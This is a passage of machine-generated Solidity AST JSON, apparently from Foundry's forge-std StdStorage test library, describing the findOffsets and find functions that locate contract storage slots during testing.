ariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7641,"name":"uint256","nodeType":"ElementaryTypeName","src":"2654:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"2647:15:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7772,"nodeType":"FunctionDefinition","src":"3080:534:8","nodes":[],"body":{"id":7771,"nodeType":"Block","src":"3182:432:8","nodes":[],"statements":[{"assignments":[7727],"declarations":[{"constant":false,"id":7727,"mutability":"mutable","name":"prevSlotValue","nameLocation":"3200:13:8","nodeType":"VariableDeclaration","scope":7771,"src":"3192:21:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7726,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3192:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":7734,"initialValue":{"arguments":[{"expression":{"id":7730,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7715,"src":"3224:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7731,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3229:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"3224:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7732,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7717,"src":"3238:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7728,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"3216:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7729,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3219:4:8","memberName":"load","nodeType":"MemberAccess","referencedDeclaration":12605,"src":"3216:7:8","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_bytes32_$returns$_t_bytes32_$","typeString":"function (address,bytes32) view external returns (bytes32)"}},"id":7733,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3216:27:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"VariableDeclarationStatement","src":"3192:51:8"},{"assignments":[7736,7738],"declarations":[{"constant":false,"id":7736,"mutability":"mutable","name":"foundLeft","nameLocation":"3260:9:8","nodeType":"VariableDeclaration","scope":7771,"src":"3255:14:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7735,"name":"bool","nodeType":"ElementaryTypeName","src":"3255:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7738,"mutability":"mutable","name":"offsetLeft","nameLocation":"3279:10:8","nodeType":"VariableDeclaration","scope":7771,"src":"3271:18:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7737,"name":"uint256","nodeType":"ElementaryTypeName","src":"3271:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7744,"initialValue":{"arguments":[{"id":7740,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7715,"src":"3304:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":7741,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7717,"src":"3310:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"hexValue":"74727565","id":7742,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3316:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":7739,"name":"findOffset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7712,"src":"3293:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$_t_bool_$returns$_t_bool_$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bytes32,bool) returns (bool,uint256)"}},"id":7743,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3293:28:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"nodeType":"VariableDeclarationStatement","src":"3254:67:8"},{"assignments":[7746,7748],"declarations":[{"constant":false,"id":7746,"mutability":"mutable","name":"foundRight","nameLocation":"3337:10:8","nodeType":"VariableDeclaration","scope":7771,"src":"3332:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7745,"name":"bool","nodeType":"ElementaryTypeName","src":"3332:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7748,"mutability":"mutable","name":"offsetRight","nameLocation":"3357:11:8","nodeType":"VariableDeclaration","scope":7771,"src":"3349:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7747,"name":"uint256","nodeType":"ElementaryTypeName","src":"3349:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7754,"initialValue":{"arguments":[{"id":7750,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7715,"src":"3383:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"id":7751,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7717,"src":"3389:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"hexValue":"66616c7365","id":7752,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3395:5:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":7749,"name":"findOffset","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7712,"src":"3372:10:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bytes32_$_t_bool_$returns$_t_bool_$_t_uint256_$","typeString":"function (struct StdStorage storage pointer,bytes32,bool) returns (bool,uint256)"}},"id":7753,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3372:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$","typeString":"tuple(bool,uint256)"}},"nodeType":"VariableDeclarationStatement","src":"3331:70:8"},{"expression":{"arguments":[{"expression":{"id":7758,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7715,"src":"3506:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7759,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"3511:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"3506:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":7760,"name":"slot","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7717,"src":"3520:4:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},{"id":7761,"name":"prevSlotValue","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7727,"src":"3526:13:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"},{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"id":7755,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7460,"src":"3497:2:8","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":7757,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"3500:5:8","memberName":"store","nodeType":"MemberAccess","referencedDeclaration":15476,"src":"3497:8:8","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes32_$_t_bytes32_$returns$__$","typeString":"function (address,bytes32,bytes32) external"}},"id":7762,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3497:43:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7763,"nodeType":"ExpressionStatement","src":"3497:43:8"},{"expression":{"components":[{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":7766,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":7764,"name":"foundLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7736,"src":"3558:9:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"&&","rightExpression":{"id":7765,"name":"foundRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7746,"src":"3571:10:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"3558:23:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":7767,"name":"offsetLeft","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7738,"src":"3583:10:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":7768,"name":"offsetRight","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7748,"src":"3595:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":7769,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"TupleExpression","src":"3557:50:8","typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_uint256_$_t_uint256_$","typeString":"tuple(bool,uint256,uint256)"}},"functionReturnParameters":7725,"id":7770,"nodeType":"Return","src":"3550:57:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"findOffsets","nameLocation":"3089:11:8","parameters":{"id":7718,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7715,"mutability":"mutable","name":"self","nameLocation":"3120:4:8","nodeType":"VariableDeclaration","scope":7772,"src":"3101:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7714,"nodeType":"UserDefinedTypeName","pathNode":{"id":7713,"name":"StdStorage","nameLocations":["3101:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"3101:10:8"},"referencedDeclaration":7427,"src":"3101:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":7717,"mutability":"mutable","name":"slot","nameLocation":"3134:4:8","nodeType":"VariableDeclaration","scope":7772,"src":"3126:12:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":7716,"name":"bytes32","nodeType":"ElementaryTypeName","src":"3126:7:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"3100:39:8"},"returnParameters":{"id":7725,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7720,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7772,"src":"3158:4:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":7719,"name":"bool","nodeType":"ElementaryTypeName","src":"3158:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":7722,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7772,"src":"3164:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7721,"name":"uint256","nodeType":"ElementaryTypeName","src":"3164:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":7724,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7772,"src":"3173:7:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7723,"name":"uint256","nodeType":"ElementaryTypeName","src":"3173:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"3157:24:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":7787,"nodeType":"FunctionDefinition","src":"3620:115:8","nodes":[],"body":{"id":7786,"nodeType":"Block","src":"3695:40:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":7782,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7775,"src":"3717:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},{"hexValue":"74727565","id":7783,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"3723:4:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"},{"typeIdentifier":"t_bool","typeString":"bool"}],"id":7781,"name":"find","nodeType":"Identifier","overloadedDeclarations":[7787,8090],"referencedDeclaration":8090,"src":"3712:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$_t_bool_$returns$_t_struct$_FindData_$7402_storage_ptr_$","typeString":"function (struct StdStorage storage pointer,bool) returns (struct FindData storage pointer)"}},"id":7784,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"3712:16:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData storage pointer"}},"functionReturnParameters":7780,"id":7785,"nodeType":"Return","src":"3705:23:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"find","nameLocation":"3629:4:8","parameters":{"id":7776,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7775,"mutability":"mutable","name":"self","nameLocation":"3653:4:8","nodeType":"VariableDeclaration","scope":7787,"src":"3634:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":7774,"nodeType":"UserDefinedTypeName","pathNode":{"id":7773,"name":"StdStorage","nameLocations":["3634:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"3634:10:8"},"referencedDeclaration":7427,"src":"3634:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"3633:25:8"},"returnParameters":{"id":7780,"nodeType":"ParameterList","parameters":[{"constant":false,"id":7779,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":7787,"src":"3677:16:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"},"typeName":{"id":7778,"nodeType":"UserDefinedTypeName","pathNode":{"id":7777,"name":"FindData","nameLocations":["3677:8:8"],"nodeType":"IdentifierPath","referencedDeclaration":7402,"src":"3677:8:8"},"referencedDeclaration":7402,"src":"3677:8:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage_ptr","typeString":"struct FindData"}},"visibility":"internal"}],"src":"3676:18:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8090,"nodeType":"FunctionDefinition","src":"4249:2493:8","nodes":[],"body":{"id":8089,"nodeType":"Block","src":"4337:2405:8","nodes":[],"statements":[{"assignments":[7800],"declarations":[{"constant":false,"id":7800,"mutability":"mutable","name":"who","nameLocation":"4355:3:8","nodeType":"VariableDeclaration","scope":8089,"src":"4347:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":7799,"name":"address","nodeType":"ElementaryTypeName","src":"4347:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":7803,"initialValue":{"expression":{"id":7801,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4361:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7802,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4366:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"4361:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"4347:26:8"},{"assignments":[7805],"declarations":[{"constant":false,"id":7805,"mutability":"mutable","name":"fsig","nameLocation":"4390:4:8","nodeType":"VariableDeclaration","scope":8089,"src":"4383:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":7804,"name":"bytes4","nodeType":"ElementaryTypeName","src":"4383:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"id":7808,"initialValue":{"expression":{"id":7806,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4397:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7807,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4402:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"4397:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"VariableDeclarationStatement","src":"4383:23:8"},{"assignments":[7810],"declarations":[{"constant":false,"id":7810,"mutability":"mutable","name":"field_depth","nameLocation":"4424:11:8","nodeType":"VariableDeclaration","scope":8089,"src":"4416:19:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":7809,"name":"uint256","nodeType":"ElementaryTypeName","src":"4416:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":7813,"initialValue":{"expression":{"id":7811,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4438:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7812,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4443:6:8","memberName":"_depth","nodeType":"MemberAccess","referencedDeclaration":7418,"src":"4438:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"4416:33:8"},{"assignments":[7815],"declarations":[{"constant":false,"id":7815,"mutability":"mutable","name":"params","nameLocation":"4472:6:8","nodeType":"VariableDeclaration","scope":8089,"src":"4459:19:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":7814,"name":"bytes","nodeType":"ElementaryTypeName","src":"4459:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"id":7819,"initialValue":{"arguments":[{"id":7817,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4495:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7816,"name":"getCallParams","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7506,"src":"4481:13:8","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_struct$_StdStorage_$7427_storage_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (struct StdStorage storage pointer) view returns (bytes memory)"}},"id":7818,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4481:19:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"nodeType":"VariableDeclarationStatement","src":"4459:41:8"},{"condition":{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":7820,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4551:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7821,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4556:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"4551:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":7823,"indexExpression":{"id":7822,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"4562:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4551:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct FindData storage ref))"}},"id":7825,"indexExpression":{"id":7824,"name":"fsig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7805,"src":"4567:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4551:21:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$","typeString":"mapping(bytes32 => struct FindData storage ref)"}},"id":7833,"indexExpression":{"arguments":[{"arguments":[{"id":7829,"name":"params","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7815,"src":"4600:6:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":7830,"name":"field_depth","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7810,"src":"4608:11:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":7827,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"4583:3:8","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":7828,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"4587:12:8","memberName":"encodePacked","nodeType":"MemberAccess","src":"4583:16:8","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":7831,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4583:37:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":7826,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"4573:9:8","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":7832,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4573:48:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4551:71:8","typeDescriptions":{"typeIdentifier":"t_struct$_FindData_$7402_storage","typeString":"struct FindData storage ref"}},"id":7834,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4623:5:8","memberName":"found","nodeType":"MemberAccess","referencedDeclaration":7401,"src":"4551:77:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7858,"nodeType":"IfStatement","src":"4547:255:8","trueBody":{"id":7857,"nodeType":"Block","src":"4630:172:8","statements":[{"condition":{"id":7835,"name":"_clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7793,"src":"4648:6:8","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":7841,"nodeType":"IfStatement","src":"4644:56:8","trueBody":{"id":7840,"nodeType":"Block","src":"4656:44:8","statements":[{"expression":{"arguments":[{"id":7837,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4680:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}],"id":7836,"name":"clear","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8735,"src":"4674:5:8","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_struct$_StdStorage_$7427_storage_ptr_$returns$__$","typeString":"function (struct StdStorage storage pointer)"}},"id":7838,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4674:11:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":7839,"nodeType":"ExpressionStatement","src":"4674:11:8"}]}},{"expression":{"baseExpression":{"baseExpression":{"baseExpression":{"expression":{"id":7842,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7791,"src":"4720:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":7843,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"4725:5:8","memberName":"finds","nodeType":"MemberAccess","referencedDeclaration":7411,"src":"4720:10:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$_$","typeString":"mapping(address => mapping(bytes4 => mapping(bytes32 => struct FindData storage ref)))"}},"id":7845,"indexExpression":{"id":7844,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7800,"src":"4731:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"4720:15:8","typeDescriptions":{"typeIdentifier":"t_mapping$_t_bytes4_$_t_mapping$_t_bytes32_$_t_struct$_FindData_$7402_storage_$_$","typeString":"mapping(bytes4 => mapping(bytes32 => struct 